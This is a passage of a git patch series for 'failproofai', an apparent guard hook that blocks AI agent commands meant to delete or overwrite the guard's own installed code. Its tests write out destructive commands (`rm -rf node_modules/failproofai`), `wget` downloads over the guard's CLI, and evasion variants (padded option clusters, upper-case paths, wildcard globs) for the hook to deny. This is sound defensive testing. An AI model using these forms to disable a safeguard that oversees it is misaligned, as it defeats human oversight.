UNKNOWN)).slice(-(limit - 1)), UNKNOWN]; }; + // Where else the shell may stand: not where it certainly is. + const possible = (list: Where[]): Where[] => fold(list.filter((where) => !sameWhere(where, at)), MAX_ALTERNATE_DIRS); // Symlinks this line makes (`ln -s `), which no `lstat` sees // yet, followed the way the kernel does: the first component that is one is // replaced by where it points, and the result is walked again. @@ -2083,6 +2096,9 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) if (text.startsWith("-")) return false; if (base.lost && relativeWord(text)) { if (AS_IF_INSTALLED.some((dir) => namesState(dir + text))) return true; + // From a directory the walk cannot see, `bins/failproofai` may go + // through a link to npm's bin directory. + if (text.includes("/") && couldBeEntryName(text.slice(text.lastIndexOf("/") + 1))) return true; } // A `..` can climb above `dir`. Then it is read from the whole path, cut // the same way, or when even that was too long to keep, as if from an @@ -2119,39 +2135,52 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // line has already been judged as written. const resolvesOntoState = (text: string): boolean => resolvesFrom(at, text) || alts.some((base) => resolvesFrom(base, text)); - // A written path as the absolute path it spells from `base`: `plain` as - // text, `linked` with the symlinks this line made applied. - const absoluteFrom = (base: Where, written: string): { plain: string; linked: string } | undefined => { + // A written path as the absolute path it spells from `base`: `raw` as the + // kernel walks it, each `..` taken after any link before it; `plain` as + // text; `linked` with the symlinks this line made applied. + const absoluteFrom = (base: Where, written: string): { raw: string; plain: string; linked: string } | undefined => { if (written === "" || written.startsWith("-") || written.includes("$") || GLOB_METACHAR_RE.test(written)) { return undefined; } - const plain = written.startsWith("/") - ? shellPath(undefined, written) + const raw = written.startsWith("/") + ? written : written === "~" || written.startsWith("~/") - ? shellPath(undefined, homedir() + written.slice(1)) + ? homedir() + written.slice(1) : relativeWord(written) && !base.lost && base.full?.startsWith("/") - ? shellPath(base.full, written) + ? `${base.full}/${written}` : undefined; - return plain === undefined ? undefined : { plain, linked: followLinks(plain) }; + if (raw === undefined) return undefined; + const plain = shellPath(undefined, raw); + return { raw, plain, linked: followLinks(plain) }; }; const realPaths = new Map(); const realPath = (path: string): string => { let real = realPaths.get(path); - if (real === undefined) realPaths.set(path, (real = resolveWriteTarget(path, undefined) || path)); + if (real === undefined) realPaths.set(path, (real = resolveWriteTarget(path, undefined) || shellPath(undefined, path))); return real; }; + // Where a written path really is, from each place the shell may stand: on + // disk as the kernel resolves it, and with this line's own links applied. + const realPathsOf = (written: string): Array<{ plain: string; real: string }> => { + const out: Array<{ plain: string; real: string }> = []; + for (const base of [at, ...alts]) { + const path = absoluteFrom(base, written); + if (path === undefined) continue; + out.push({ plain: path.plain, real: realPath(path.raw) }); + if (path.linked !== path.plain) out.push({ plain: path.plain, real: realPath(path.linked) }); + } + return out; + }; + // Whether a written directory really is npm's bin directory, through links. + const isBinDir = (written: string): boolean => + realPathsOf(written.replace(/[\\/]+$/, "") || written).some(({ real }) => NPM_BIN_DIRECTORY_RE.test(real)); // Whether a path really lands on what `namesState` protects once symlinks // are followed — those on disk, as the file tools already follow them, and // those this line makes: `printf x > bins/failproofai` where `bins` links to // `node_modules/.bin`. Only a link counts, so a backup that merely carries a // protected name somewhere else (`/tmp/backup/.failproofai`) does not. const landsOnState = (written: string): boolean => - [at, ...alts].some((base) => { - const path = absoluteFrom(base, written); - if (path === undefined) return false; - const real = realPath(path.linked); - return real !== path.plain && namesState(real); - }); + realPathsOf(written).some(({ plain, real }) => real !== plain && namesState(real)); const namesHere = (text: string): boolean => namesState(text) || resolvesOntoState(text) || landsOnState(text); // What the line has assigned by the point the walk reaches, so a word built // from it is judged as the path it spells: `B=~/node_modules/.bin; ln -s @@ -2162,19 +2191,27 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // `cd` the walk cannot follow. Every word is judged as written as well, so an // assignment the shell never makes (`: D=x`) cannot hide one. const values = new Map(LOOP_HEADER_RE.test(command) ? assignments : []); - const expand = (word: string): string => { + const expandAt = (word: string, here: Where): string => { let out = word; - if (out.startsWith("~+") && at.dir !== undefined && !at.lost) out = at.dir + out.slice(2); + if (out.startsWith("~+") && here.dir !== undefined && !here.lost) out = here.dir + out.slice(2); else if (out.startsWith("~-") && previous?.dir !== undefined && !previous.lost) out = previous.dir + out.slice(2); for (let pass = 0; pass < 3 && out.includes("$"); pass++) { out = out.replace(VAR_REFERENCE_RE, (reference, name: string) => - name === "PWD" && at.dir !== undefined && !at.lost ? at.dir : values.get(name) ?? (name === "HOME" ? "~" : reference), + name === "PWD" && here.dir !== undefined && !here.lost + ? here.dir + : values.get(name) ?? (name === "HOME" ? "~" : reference), ); // A value that refers to itself grows with every pass. if (out.length > 4096) return word; } return out; }; + const expand = (word: string): string => expandAt(word, at); + // `$PWD` and `~+` name wherever the shell stands, which after a move that + // may have failed is any of the places it may be. + const NAMES_PWD_RE = /\$\{?PWD\b|^~\+/; + const expandEverywhere = (word: string): string[] => + NAMES_PWD_RE.test(word) ? alts.map((alt) => expandAt(word, alt)) : []; // `named` is the operand as written, judged when the walk cannot follow it. const whereAfter = (base: Where, target: string, named: string): Where => { if (/\$|`/.test(target)) return { dir: undefined, full: undefined, deep: false, lost: true, inState: namesState(named) }; @@ -2218,7 +2255,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) const moveTo = (to: Where, others: Where[] = [], certain = false) => { if (sameWhere(to, at) && alts.length === 0) return; previous = at; - if (!certain) pending = [...pending, at, ...alts].slice(-2 * MAX_ALTERNATE_DIRS); + if (!certain) pending = fold([...pending, at, ...alts], 2 * MAX_ALTERNATE_DIRS); at = to; alts = possible(others); cwdInState = at.inState; @@ -2336,7 +2373,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // exactly the diagnosis this guard must not block. for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { const written = target.replace(/^["']|["']$/g, ""); - if (namesHere(written) || namesHere(expand(written))) return true; + if (namesHere(written) || namesHere(expand(written)) || expandEverywhere(written).some(namesHere)) return true; } for (const simple of simpleCommands) { @@ -2347,6 +2384,9 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) const words = commandWordList(simple); const expanded = words.map(expand); const lists = expanded.some((word, k) => word !== words[k]) ? [words, expanded] : [words]; + if (alts.length > 0 && words.some((word) => NAMES_PWD_RE.test(word))) { + for (const alt of alts) lists.push(words.map((word) => expandAt(word, alt))); + } const head = words.length > 0 ? commandBasename(words[0]) : ""; if (head === "cd" || head === "pushd" || head === "popd") { // Every stage of a pipeline runs in a subshell of its own, so a `cd` @@ -2361,10 +2401,10 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) [at, ...alts].some((base) => lists.some( (list) => - landsInDirectoryAs(list, namesState, (word) => fromBase(base, word), base.lost, landsOnState) || + landsInDirectoryAs(list, namesState, (word) => fromBase(base, word), base.lost, landsOnState, isBinDir) || downloadLandings(list).some(({ dir, name }) => { const into = fromBase(base, dir).replace(/(?:[\\/]+\.?)+$/, ""); - if (name === null) return NPM_BIN_DIRECTORY_RE.test(into); + if (name === null) return NPM_BIN_DIRECTORY_RE.test(into) || isBinDir(dir); const landing = `${dir.replace(/[\\/]+$/, "")}/${name}`; return ( namesState(fromBase(base, landing)) || From d2f4f287ef655b200a6d4d45c457fa318491d18b Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 20:42:53 +0530 Subject: [PATCH 21/60] [hooks] Fix quadratic installed-code match: check the component start after the name MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 7ac5740d put a variable-length lookbehind, (?<=(?:^|\s)-[A-Za-z]+), in FRONT of `node_modules` and `.pnpm`. It ran at every position of the input and rescanned a whole run of letters each time, so a command carrying 32,000 letters took 35 s in the guard, and CI's unit-test jobs hit their 20-minute limit on 7ac5740d. pathComponent() now places the lookbehind AFTER the name, so it runs only where the name matched; each match scans back only over the letters just before it, and those runs cannot overlap, so the option cluster needs no bound (a long `-qqqq…O` is no way past). 32,000 letters: 5 ms. Regression test: 128K letters through Bash and Write, under 2 s. (Reported by the #1795 session, which hit it on its stacked branch.) Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-installed-code.test.ts | 12 ++++++++ src/hooks/builtin-policies.ts | 31 +++++++++++++------- 2 files changed, 33 insertions(+), 10 deletions(-) diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts index 1d589d84c..9f8dd4a70 100644 --- a/__tests__/hooks/guard-installed-code.test.ts +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -215,6 +215,18 @@ describe("block-failproofai-commands — failproofai's installed code", () => { }); }); + // A variable-length lookbehind in front of a name ran at every position of the + // input and went quadratic on a run of letters: 32,000 of them took 35 s in the + // guard, long enough to time a hook out. It now runs only where a name matched. + it("stays fast on a long run of letters", async () => { + const started = Date.now(); + expect(await bash(`find . -name '*.sqlite' -delete ${"x".repeat(128_000)}`)).toBe("allow"); + expect((await write(`/work/proj/${"x".repeat(128_000)}`)).decision).toBe("allow"); + // ...and a long option cluster is no way past: the cluster needs no bound. + expect(await bash(`wget -q${"x".repeat(64_000)}Onode_modules/failproofai/dist/cli.mjs https://e/x`)).toBe("deny"); + expect(Date.now() - started).toBeLessThan(2000); + }); + describe("shell commands", () => { it.each([ ["a copy over the CLI", `cp /tmp/x.mjs ${NVM_PKG}/dist/cli.mjs`], diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index b63855603..21d74435e 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -462,13 +462,24 @@ const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; // blockFailproofaiCommands /** - * Where a path component may start: after a separator, a space, a quote or `=`, - * or glued to a cluster of short options (`wget -Onode_modules/…`, `curl - * -sonode_modules/…`), which is how those tools take an output file. Not after a - * letter, digit, `_`, `.` or `-` of the same name: `cached_node_modules/…` and - * `my-node_modules/…` are somebody's fixtures. + * The path component `name` (regex source), only where it STARTS a component: + * after a separator, a space, a quote or `=`, or glued to a cluster of short + * options (`wget -Onode_modules/…`, `wget -qO.pnpm/…`), which is how those tools + * take an output file. Not after a letter, digit, `_`, `.` or `-` of the same + * name: `cached_node_modules/…` and `my-node_modules/…` are somebody's fixtures. + * + * The check is a lookbehind placed AFTER the name, so it runs only where the + * name already matched. A variable-length lookbehind in FRONT of the name ran + * at every position of the input and rescanned a whole run of letters each + * time: a command carrying 32,000 letters took 35 s in the guard, long enough + * to time a hook out. Here each match scans back over the letters just before + * it, and those runs cannot overlap — every name ends in a non-letter (`_` in + * `node_modules`, the `.` that starts `.pnpm`) — so the cluster needs no bound, + * and a long one (`-qqqq…O`) is not a way past. */ -const PATH_COMPONENT_START = String.raw`(?:(? Date: Tue, 24 Nov 2026 20:45:02 +0530 Subject: [PATCH 22/60] Keep the guard linear on padded commands MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `find . -name '*.sqlite' -delete` followed by 32 KB of `x` took 16 s in `block-failproofai-commands`, and 128 KB took 274 s, so two-tier-handler's padded-call tests timed out in CI. The `.bin` entry's glued-option branch, `(?<=(?:^|\s)-[A-Za-z]+)` placed before the literal, ran at every position of a run of letters and scanned back over all of it. The lookbehind now follows the literal, so it runs only where `.bin` matched, and the option cluster is bounded to 16 letters. A path longer than PATH_MAX is no longer walked on disk: no write can open it, and checking a 128 KB `a/a/a/…` one component at a time cost a second. Four bounded-time tests cover the envelope's 128 KB cap. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 10 ++++++++++ src/hooks/builtin-policies.ts | 13 +++++++++++-- 2 files changed, 21 insertions(+), 2 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 19e3cd2e1..a9404c01f 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -607,6 +607,16 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a 2,000-segment glob", "rm -rf " + Array(2000).fill("*").join("/")], // A value that refers to itself grew with every expansion pass. ["a self-referring variable", "A=" + "$A".repeat(100) + "; echo $A"], + // The envelope's 128 KB field cap. A lookbehind that scanned back over a + // run of letters at every position took 16 s at 32 KB, and a long path + // walked on disk one component at a time took a second at 128 KB. + ["a 128 KB word of letters after a command", "find . -name '*.sqlite' -delete " + "x".repeat(128_000)], + ["a 128 KB run of option letters", "echo -" + "a".repeat(128_000)], + ["a 128 KB path of one-letter directories", "echo " + "a/".repeat(64_000)], + [ + "thirty paths just under PATH_MAX", + "echo " + Array.from({ length: 30 }, (_, i) => `w${i}/` + "a/".repeat(2_040)).join(" "), + ], ])("judges %s in bounded time", async (_label, command) => { const started = performance.now(); await bash(command); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 51dd2bc26..51d618a72 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -516,10 +516,13 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( // `firmware.bin/failproofai` is not it, but anything that is not part of a // name may stand before it (`>.bin/…`), and so may a short option the // path is glued to, alone or at the end of a cluster (`-O.bin/…`, - // `-so.bin/…`). A FILE, like the entry above: the rest of + // `-so.bin/…`). The lookbehind comes after the literal and the cluster is + // bounded: before it, a long run of letters made every position scan back + // over the whole run, and a padded 32 KB command took 16 s. A FILE, like + // the entry above: the rest of // `node_modules/.bin` (every other package's binary, run by path all the // time) stays out of it. - String.raw`(?:(?(); const realPath = (path: string): string => { + // Longer than PATH_MAX, no write can open it, and walking it on disk one + // component at a time cost a second for a 128 KB word of `a/a/a/…`. + if (path.length > PATH_MAX_BYTES) return shellPath(undefined, path); let real = realPaths.get(path); if (real === undefined) realPaths.set(path, (real = resolveWriteTarget(path, undefined) || shellPath(undefined, path))); return real; @@ -2473,6 +2479,9 @@ const FULL_DIR_SEGMENTS = 64; /** How many directories a failed `cd` can leave the shell in that the walk tracks. */ const MAX_ALTERNATE_DIRS = 4; +/** Linux's PATH_MAX: `open(2)` refuses a longer path with ENAMETOOLONG. */ +const PATH_MAX_BYTES = 4096; + /** * Where a relative word is also read once the walk has lost the shell's * directory: the places an installed failproofai entry or package lives. Only From dfdbe78d901587e8c56862f29267838c5eabb964 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 20:46:39 +0530 Subject: [PATCH 23/60] Leave the glued-option cluster before .bin unbounded MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit With the lookbehind after the literal, each `.bin` match scans back only over the letters just before it, and no two matches share them (`.bin` starts with a dot), so an unbounded cluster stays linear: 128 KB in about 20 ms. The 16-letter bound let a padded cluster through: `wget -qqqq…qO.bin/failproofai ` from `node_modules`. Pointed out by the #1796 session, which made the same change for `node_modules` and `.pnpm` in #1050. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 5 ++++- src/hooks/builtin-policies.ts | 12 +++++++----- 2 files changed, 11 insertions(+), 6 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index a9404c01f..383046e7e 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -414,8 +414,9 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["/work/proj/node_modules", "echo 'exit 0' >.bin/failproofai"], ["/work/proj/node_modules", "printf x 2>.bin/failproofai"], ["/work/proj/node_modules", "wget -q -O.bin/failproofai https://example.com/x"], - // The same path glued to the last option of a cluster. + // The same path glued to the last option of a cluster, however long. ["/work/proj/node_modules", "curl -so.bin/failproofai https://example.com/x"], + ["/work/proj/node_modules", `wget -${"q".repeat(40)}O.bin/failproofai https://example.com/x`], ])("denies a write from the session directory %s: %s", async (cwd, command) => { expect(await bashIn(cwd, command)).toBe("deny"); }); @@ -612,6 +613,8 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs // walked on disk one component at a time took a second at 128 KB. ["a 128 KB word of letters after a command", "find . -name '*.sqlite' -delete " + "x".repeat(128_000)], ["a 128 KB run of option letters", "echo -" + "a".repeat(128_000)], + ["thirty long option clusters, each glued to .bin", "echo " + Array(30).fill("-" + "a".repeat(4_000) + ".bin/x").join(" ")], + ["a 128 KB run of letters ending in .bin", "echo -" + "a".repeat(128_000) + ".bin/failproofai.txt"], ["a 128 KB path of one-letter directories", "echo " + "a/".repeat(64_000)], [ "thirty paths just under PATH_MAX", diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 51d618a72..5fd969dc7 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -516,13 +516,15 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( // `firmware.bin/failproofai` is not it, but anything that is not part of a // name may stand before it (`>.bin/…`), and so may a short option the // path is glued to, alone or at the end of a cluster (`-O.bin/…`, - // `-so.bin/…`). The lookbehind comes after the literal and the cluster is - // bounded: before it, a long run of letters made every position scan back - // over the whole run, and a padded 32 KB command took 16 s. A FILE, like - // the entry above: the rest of + // `-so.bin/…`). The lookbehind comes after the literal, so it runs only + // where `.bin` matched and scans back over the letters just before it, + // which no other match shares (`.bin` starts with a dot): linear. Placed + // before the literal it ran at every position of a run of letters and + // scanned back over all of it, and a padded 32 KB command took 16 s. A + // FILE, like the entry above: the rest of // `node_modules/.bin` (every other package's binary, run by path all the // time) stays out of it. - String.raw`\.bin(?<=(?:^|[^\w.-])\.bin|(?:^|\s)-[A-Za-z]{1,16}\.bin)[\\/](?:\.?[\\/])*failproofai(?:\.(?:cmd|ps1|exe|bunx))?(?![\w.@\\/-])`, + String.raw`\.bin(?<=(?:^|[^\w.-])\.bin|(?:^|\s)-[A-Za-z]+\.bin)[\\/](?:\.?[\\/])*failproofai(?:\.(?:cmd|ps1|exe|bunx))?(?![\w.@\\/-])`, ].join("|"), "i", ); From 43bd94750159b6e28aa4ef407ba7e0087f7d09ba Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 20:54:13 +0530 Subject: [PATCH 24/60] [hooks] Start a path component only after a separator or a shell word boundary MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The component check excluded [\w.-] in front of `node_modules` / `.pnpm`, so any other character passed: a write to `/work/fixture+node_modules/failproofai/index.js` was denied as installed code (CodeRabbit). Anything in front of the name inside the same component makes it a different directory, so the check now lists what MAY come before it — the start, `/` or `\`, and what ends a shell word (whitespace, quotes, `=`, `:`, `;`, `|`, `&`, redirects, subshell and brace brackets, `,`) — plus the glued short-option cluster. Still linear (lookbehind after the name); subshell, brace-list, redirect, quote and assignment forms tested. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-installed-code.test.ts | 8 ++++++++ src/hooks/builtin-policies.ts | 14 +++++++++----- 2 files changed, 17 insertions(+), 5 deletions(-) diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts index 9f8dd4a70..46a997097 100644 --- a/__tests__/hooks/guard-installed-code.test.ts +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -210,6 +210,8 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["a fixture under a hyphenated node_modules", "/work/proj/my-node_modules/failproofai/index.js"], ["a fixture under a directory that merely ends in .pnpm", "/work/proj/foo.pnpm/failproofai@1.0.0/x.js"], ["a fixture under a directory named like an option", "/tmp/-xnode_modules/failproofai/index.js"], + ["a fixture under a directory joined with +", "/work/fixture+node_modules/failproofai/index.js"], + ["a fixture under a .pnpm-suffixed directory joined with +", "/work/fixture+.pnpm/failproofai@1.0.0/x.js"], ])("allows writing %s", async (_label, path) => { expect((await write(path)).decision).toBe("allow"); }); @@ -255,6 +257,12 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["wget writing the CLI through -O", "wget -q -Onode_modules/failproofai/dist/cli.mjs https://example.com/x"], ["wget writing the CLI through a -qO cluster", "wget -qOnode_modules/failproofai/dist/cli.mjs https://example.com/x"], ["wget writing pnpm's store entry through -qO", "wget -qO.pnpm/failproofai@1.0.15/x https://example.com/x"], + // What ends a shell word still starts a component. + ["the package named in a subshell", "(rm -rf node_modules/failproofai)"], + ["the package named in a brace list", "rm -rf {node_modules/failproofai,tmp}"], + ["the package named after a redirect", "cat /tmp/x.mjs >node_modules/failproofai/dist/cli.mjs"], + ["the package named inside quotes", 'rm -rf "node_modules/failproofai"'], + ["the package named in an assignment", "D=node_modules/failproofai; rm -rf $D"], ["a dotted glob onto pnpm's store entry", "rm -rf ./node_modules/.pnpm/fail*"], ])("denies %s", async (_label, command) => { expect(await bash(command)).toBe("deny"); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 21d74435e..92318e1cc 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -463,10 +463,14 @@ const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; // blockFailproofaiCommands /** * The path component `name` (regex source), only where it STARTS a component: - * after a separator, a space, a quote or `=`, or glued to a cluster of short - * options (`wget -Onode_modules/…`, `wget -qO.pnpm/…`), which is how those tools - * take an output file. Not after a letter, digit, `_`, `.` or `-` of the same - * name: `cached_node_modules/…` and `my-node_modules/…` are somebody's fixtures. + * at the start, after a path separator, or after what ends a shell word — + * whitespace, a quote, `=`, `:`, `;`, `|`, `&`, a redirect, a bracket of a + * subshell or a brace list, a comma — or glued to a cluster of short options + * (`wget -Onode_modules/…`, `wget -qO.pnpm/…`), which is how those tools take an + * output file. Anything else in front of it is part of the same name, so it is + * a different directory: `cached_node_modules/…`, `my-node_modules/…` and + * `fixture+node_modules/…` are somebody's fixtures. A list of what may come + * before, not of what may not — the second kind is never finished. * * The check is a lookbehind placed AFTER the name, so it runs only where the * name already matched. A variable-length lookbehind in FRONT of the name ran @@ -478,7 +482,7 @@ const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; * and a long one (`-qqqq…O`) is not a way past. */ function pathComponent(name: string): string { - return String.raw`${name}(?<=(?:^|[^\w.-])${name}|(?:^|\s)-[A-Za-z]+${name})`; + return String.raw`${name}(?<=(?:^|[\\/\s"'\`=:;|&<>(){},])${name}|(?:^|\s)-[A-Za-z]+${name})`; } /** From 1388f38c44beaf9fcf14a263d2fdc783fa412127 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 21:48:12 +0530 Subject: [PATCH 25/60] [hooks] Address hermes: daemon-store globs and case-insensitive glob matching - `rm -rf node_modules/.pnpm/@failproofai+failproofaid-*@*` (and `./`, platform/version-targeted variants) was allowed: the literal pattern wanted `@` right after the daemon's name, and the glob candidates held only the CLI's store entry. The pnpm alternative now recognises the daemon's entry by its name alone, and the candidates add the daemon's store and scope entries for its four platforms, with `@types` decoys so `rm -rf node_modules/.pnpm/@*` and `node_modules/@*/*` sweeps stay allowed. - `rm -rf NODE_MODULES/fail*` was allowed while `rm -rf NODE_MODULES/failproofai` denied: glob patterns were compiled case-sensitively. On a default macOS volume the literal parent resolves to the real install, so glob matching is case-insensitive like the literal pattern. `NODE_MODULES/*` stays allowed. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-installed-code.test.ts | 16 ++++++++++++++ src/hooks/builtin-policies.ts | 22 +++++++++++++++++--- 2 files changed, 35 insertions(+), 3 deletions(-) diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts index 46a997097..fe9b73d83 100644 --- a/__tests__/hooks/guard-installed-code.test.ts +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -257,6 +257,18 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["wget writing the CLI through -O", "wget -q -Onode_modules/failproofai/dist/cli.mjs https://example.com/x"], ["wget writing the CLI through a -qO cluster", "wget -qOnode_modules/failproofai/dist/cli.mjs https://example.com/x"], ["wget writing pnpm's store entry through -qO", "wget -qO.pnpm/failproofai@1.0.15/x https://example.com/x"], + // The daemon's platform package in pnpm's store and in its scope, through + // globs over its platform, its version or its name (found by hermes). + ["a glob over the daemon's pnpm store entry", "rm -rf node_modules/.pnpm/@failproofai+failproofaid-*@*"], + ["a dotted glob over the daemon's pnpm store entry", "rm -rf ./node_modules/.pnpm/@failproofai+failproofaid-*@*"], + ["a platform- and version-targeted glob", "rm -rf node_modules/.pnpm/@failproofai+failproofaid-linux-*@1.0.*"], + ["a glob over the scope in pnpm's store", "rm -rf node_modules/.pnpm/@failproofai+*"], + ["a short glob onto the scope in pnpm's store", "rm -rf node_modules/.pnpm/@f*"], + ["a glob onto the daemon package in its scope", "rm -rf node_modules/@failproofai/f*"], + // A default macOS volume resolves the literal parent whatever its case. + ["a glob under an upper-case parent", "rm -rf NODE_MODULES/fail*"], + ["a dotted glob under an upper-case parent", "rm -rf ./NODE_MODULES/fail*"], + ["a glob under a mixed-case parent in pnpm's store", "rm -rf Node_Modules/.pnpm/fail*"], // What ends a shell word still starts a component. ["the package named in a subshell", "(rm -rf node_modules/failproofai)"], ["the package named in a brace list", "rm -rf {node_modules/failproofai,tmp}"], @@ -280,6 +292,10 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["clearing pnpm's whole store", "rm -rf node_modules/.pnpm/*"], ["clearing pnpm's whole store, dotted", "rm -rf ./node_modules/.pnpm/*"], ["removing a fixture under cached_node_modules", "rm -rf cached_node_modules/failproofai"], + ["clearing every scoped package in pnpm's store", "rm -rf node_modules/.pnpm/@*"], + ["clearing every scoped package", "rm -rf node_modules/@*/*"], + ["clearing every dependency under an upper-case parent", "rm -rf NODE_MODULES/*"], + ["clearing every versioned entry in pnpm's store", "rm -rf node_modules/.pnpm/*@*"], ["a test run inside a directory of that name under bin/", "vitest run --root /home/u/bin/failproofai/web"], ["clearing a build cache", "rm -rf node_modules/.cache"], ["removing a checkout of the repo", "rm -rf /home/u/src/failproofai"], diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 92318e1cc..717bd18c7 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -520,8 +520,10 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( pathComponent("node_modules") + String.raw`[\\/](?:\.?[\\/])*(?:failproofai(?![\w.@-])|@failproofai[\\/](?:\.?[\\/])*failproofaid\b)`, // pnpm's virtual store, which holds each package one directory above its - // own `node_modules/failproofai`. - pathComponent(String.raw`\.pnpm`) + String.raw`[\\/](?:\.?[\\/])*(?:failproofai|@failproofai\+failproofaid[\w.-]*)@`, + // own `node_modules/failproofai`. The daemon's entry is recognised by its + // name alone, so a glob over its platform or version + // (`@failproofai+failproofaid-*@*`) still names it. + pathComponent(String.raw`\.pnpm`) + String.raw`[\\/](?:\.?[\\/])*(?:failproofai@|@failproofai\+failproofaid\b)`, // The entry a hook command names: `…/bin/failproofai` for npm, nvm, // Homebrew, bun, Volta and yarn, `…/pnpm/failproofai` for pnpm's home, and // the variables nvm and pnpm export for those directories. A FILE, so a @@ -863,6 +865,15 @@ const STATE_GLOB_CANDIDATES = [ "./node_modules/failproofai", "node_modules/.pnpm/failproofai@1.0.0", "./node_modules/.pnpm/failproofai@1.0.0", + // The daemon's platform package, in pnpm's store and in its scope, for each + // platform it ships to, so a glob that wildcards its name is still read as + // aimed at it (`node_modules/.pnpm/@failproofai+*`, `node_modules/@failproofai/f*`). + ...["linux-x64", "linux-arm64", "darwin-x64", "darwin-arm64"].flatMap((platform) => [ + `node_modules/.pnpm/@failproofai+failproofaid-${platform}@1.0.0`, + `./node_modules/.pnpm/@failproofai+failproofaid-${platform}@1.0.0`, + `node_modules/@failproofai/failproofaid-${platform}`, + `./node_modules/@failproofai/failproofaid-${platform}`, + ]), "/usr/local/lib/node_modules/failproofai", "/usr/lib/node_modules/failproofai", "/opt/homebrew/lib/node_modules/failproofai", @@ -891,6 +902,8 @@ const GLOB_DECOYS = [ // its global equivalents are read as the sweeps they are. "node_modules/react", "node_modules/.bin", "./node_modules/react", "node_modules/.pnpm/react@18.0.0", "./node_modules/.pnpm/react@18.0.0", + "node_modules/.pnpm/@types+node@20.0.0", "./node_modules/.pnpm/@types+node@20.0.0", + "node_modules/@types/node", "./node_modules/@types/node", "/usr/local/lib/node_modules/npm", "/usr/lib/node_modules/npm", "/opt/homebrew/lib/node_modules/npm", "/usr/local/bin/node", "/opt/homebrew/bin/node", "~/.bun/bin/bun", "~/.volta/bin/node", ]; @@ -1210,7 +1223,10 @@ function globPrefixNamesState(token: string): boolean { const pattern = "^" + compileGlobPattern(token); let re: RegExp; try { - re = new RegExp(pattern + "$"); + // Case-insensitive, like FAILPROOFAI_STATE_PATH_RE: on a default macOS + // volume `NODE_MODULES/fail*` reaches the real `node_modules/failproofai`, + // because the literal parent is resolved by the filesystem. + re = new RegExp(pattern + "$", "i"); } catch { return false; } From a0c7b1e32ea9df182affedb594de8f07ab61cebc Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 22:12:44 +0530 Subject: [PATCH 26/60] [hooks] Test upper-case .bin globs against the case-insensitive glob match #1050 now matches a glob's literal parent case-insensitively, because a default macOS volume resolves NODE_MODULES/ to node_modules/. Pin that a glob onto the entry under an upper-case parent is refused and a sweep of every entry there is not. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 3 +++ 1 file changed, 3 insertions(+) diff --git 